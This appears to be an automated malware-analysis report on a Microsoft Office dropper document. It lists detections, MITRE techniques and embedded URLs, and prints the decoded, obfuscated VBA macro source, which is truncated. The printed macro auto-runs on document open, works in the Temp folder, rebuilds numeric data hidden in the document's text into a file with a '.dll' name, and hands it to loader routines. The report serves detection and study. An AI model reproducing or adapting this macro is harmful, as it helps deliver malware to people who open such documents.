MALICIOUS
130
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Office document with a critical ClamAV detection for 'Doc.Dropper.Agent-7775132-0'. It contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening. The VBA script utilizes the Environ("Temp") function to access the temporary directory, likely to stage a downloaded payload. The presence of VBA macros and the 'dropper' detection strongly suggest this document is used to deliver a secondary malicious payload.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-7775132-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7775132-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5663 bytes |
SHA-256: 027491dc3a6b8627ce344c3299f3611e4af560ecb5d06e2394600eecb95b0eba |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function join_userspage()
Dim alt_dict As String
Dim ver_logoff As Boolean
alt_dict = Environ("Temp")
ChDir (alt_dict)
End Function
Function countryCoderotate(Carnoidme, Genazrel, selectall_u41, xajax, Name, returnurl, Boop, em, blogs, footer, shortcode, recursive, servername)
Dim phoneechostr As Long
Dim ver_logoff As Boolean
Dim size_topics As Words
Set size_topics = ThisDocument.Words
STRUCTURE_school = "-"
On Error Resume Next
Dim ui_dbase As String
Dim mmsearchterm As Boolean, cs_makedoc As Boolean
Dim CurrentFolder_nickname As Byte, Last As Long
Dim currentFolder_testing
mmsearchterm = False
selectall_u41 = selectall_u41 + ".dll"
If ver_logoff Then
Dim siz, i, strin
siz = Len(strin)
For i = 1 To siz
If Asc(Mid(strin, i, 1)) = 32 Then
NeedQuote = True
Exit Function
End If
Next
NeedQuote = False
End If
If ver_logoff Then
'Dim siz, i, strin
siz = Len(strin)
For i = 1 To siz
If Asc(Mid(strin, i, 1)) = 32 Then
NeedQuote = True
Exit Function
End If
Next
NeedQuote = False
End If
If ver_logoff Then
'Dim siz, i, strin
siz = Len(strin)
For i = 1 To siz
If Asc(Mid(strin, i, 1)) = 32 Then
NeedQuote = True
Exit Function
End If
Next
NeedQuote = False
End If
join_userspage
Res.CXRA (selectall_u41)
If ver_logoff Then
'Dim siz, i, strin
siz = Len(strin)
For i = 1 To siz
If Asc(Mid(strin, i, 1)) = 32 Then
NeedQuote = True
Exit Function
End If
Next
NeedQuote = False
End If
For Each currentFolder_testing In size_topics
If currentFolder_testing = STRUCTURE_school Then
cs_makedoc = True
GoTo Hheawbe
End If
If cs_makedoc = True Then
currentFolder_testing = STRUCTURE_school + currentFolder_testing
cs_makedoc = False
End If
If currentFolder_testing <> Carnoidme And mmsearchterm = False Then
GoTo Hheawbe
End If
If IsNumeric(currentFolder_testing) And mmsearchterm Then
phoneechostr = Val(currentFolder_testing)
Put #54, , phoneechostr
End If
If currentFolder_testing = Carnoidme Then
mmsearchterm = True
ElseIf currentFolder_testing = Genazrel Then
mmsearchterm = False
GoTo Finelake
End If
Hheawbe:
Next currentFolder_testing
If ver_logoff Then
'Dim siz, i, strin
siz = Len(strin)
For i = 1 To siz
If Asc(Mid(strin, i, 1)) = 32 Then
NeedQuote = True
Exit Function
End If
Next
NeedQuote = False
End If
Finelake:
If ver_logoff Then
'Dim siz, i, strin
siz = Len(strin)
For i = 1 To siz
If Asc(Mid(strin, i, 1)) = 32 Then
NeedQuote = True
Exit Function
End If
Next
NeedQuote = False
End If
Res.CXR (strin)
If ver_logoff Then
'Dim siz, i, strin
siz = Len(strin)
For i = 1 To siz
If Asc(Mid(strin, i, 1)) = 32 Then
NeedQuote = True
Exit Function
End If
Next
NeedQuote = False
End If
End Function
Sub unlockchars()
Dim ver_logoff As Boolean
On Error Resume Next
Dim jencode As Boolean
Call countryCoderotate("Besek", "Emerganc", "string", "ACTION", "taxonomy", "autofix", "password3", "init", "proxyport", "fs", "fg", "u20", "localize")
jencode = Res.controlf(0)
If jencode = False Then
Call countryCoderotate("Kequente", "Laberstne", "string", "ACTION", "taxonomy", "autofix", "password3", "init", "proxyport", "fs", "fg", "u20", "localize")
Res.controlf (1)
End If
End Sub
Private Sub Document_Open()
join_userspage
unlockchars
End Sub
Attribute VB_Name = "Res"
Declare PtrSafe Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.